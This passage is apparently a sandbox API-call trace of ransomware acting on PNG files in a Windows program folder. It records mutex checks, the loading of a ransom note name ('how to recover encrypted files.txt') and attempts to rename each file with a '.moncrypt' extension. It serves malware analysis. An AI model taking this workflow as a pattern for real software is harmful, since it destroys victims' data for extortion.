ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.801] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.801] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.801] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.801] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.801] GlobalUnlock (hMem=0x44000c) returned 0 [0058.801] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.802] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.802] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.802] GlobalUnlock (hMem=0x44000c) returned 0 [0058.802] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.802] GlobalUnlock (hMem=0x440004) returned 0 [0058.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.802] CharLowerBuffW (in: lpsz="15x15dot.png", cchLength=0xc | out: lpsz="15x15dot.png") returned 0xc [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", cchWideChar=65, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", lpUsedDefaultChar=0x0) returned 65 [0058.802] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\15x15dot.png", lpUsedDefaultChar=0x0) returned 4 [0058.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 0x54e280 [0058.803] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.803] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.803] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.803] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", dwFileAttributes=0x20) returned 0 [0058.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.804] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.moncrypt")) returned 0 [0058.804] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.804] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.804] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.804] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.804] GlobalUnlock (hMem=0x440004) returned 0 [0058.804] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.804] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.804] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.804] GlobalUnlock (hMem=0x440004) returned 0 [0058.804] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.804] GlobalUnlock (hMem=0x44000c) returned 0 [0058.804] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.804] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.805] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.805] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.805] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.806] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.806] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.806] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.806] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.806] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.806] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.806] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.806] GlobalUnlock (hMem=0x44000c) returned 0 [0058.806] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.806] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.806] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.807] GlobalUnlock (hMem=0x44000c) returned 0 [0058.807] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.807] GlobalUnlock (hMem=0x440004) returned 0 [0058.807] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.807] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, 